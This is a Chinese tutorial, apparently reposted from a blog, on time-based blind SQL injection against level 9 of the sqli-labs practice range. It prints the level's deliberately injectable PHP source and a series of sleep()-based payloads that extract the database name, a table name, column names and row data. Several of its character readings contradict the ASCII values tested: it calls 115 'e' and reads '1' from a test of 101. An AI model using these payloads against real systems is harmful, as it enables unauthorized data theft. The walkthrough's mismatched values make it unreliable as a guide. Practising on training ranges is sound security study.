sql注入–時間盲注
靶場:sqli-labs-master
下載鏈接:靶場下載鏈接
第九關
php原始碼
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
時間盲注與布爾盲注不同,布爾盲注如果成功會有回顯,而時間盲注沒有
此時就需要使用條件判斷陳述句進行盲注
盲注需要用到一些函式
1.substr() 截取字串
2.length() 回傳字串長度
3.ascii() 回傳字串的ASCII碼
4.sleep() 程式執行延遲()秒
5.if(exp1,exp2,exp3) 如果exp1正確,就執行exp2,否則執行exp3
比如:
1.select if(1=2,1,2)
回傳2
2.select sleep(5)
程式延遲5秒運行
①.使用if 和 sleep構造陳述句獲取資料庫名稱
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
可以使用F12打開開發除錯工具,在network里面查看網頁回應時間

可以看到,運行時間為17ms,說明沒有執行sleep函式,那么資料庫名的第一個字符對應的ASCII碼為115,即e
如果將115改成112

可以看到,相應時間為5.02秒,說明執行了sleep函式,那么對應ASCII碼就不為112
同理可以獲取到其他字符
注:可以使用burpsuite的repeater模塊減少手工測驗的時間
抓包

發送至repeater模塊


右下角可以看到回應時間
技巧:可以將=改為<或>來縮小范圍
例如:
可以看到小于110是錯誤的,那么110及以下的都不用進行判斷
這樣就方便觀察和猜解資料
獲取到資料庫的名稱為security
②.獲取資料表的名稱
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,1,sleep(5)) --+


得到資料表的第一個字符為e
余下的同理可得emails
③.獲取資料表的欄位名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=101,1,sleep(5)) --+


得到第一個欄位的字符為i
余下同理
得到第一個欄位為id
④.獲取id欄位中的資料
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))=101,1,sleep(5)) --+


得到資料表的id欄位一個資料為1
余下的同理可得
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/401549.html
標籤:其他
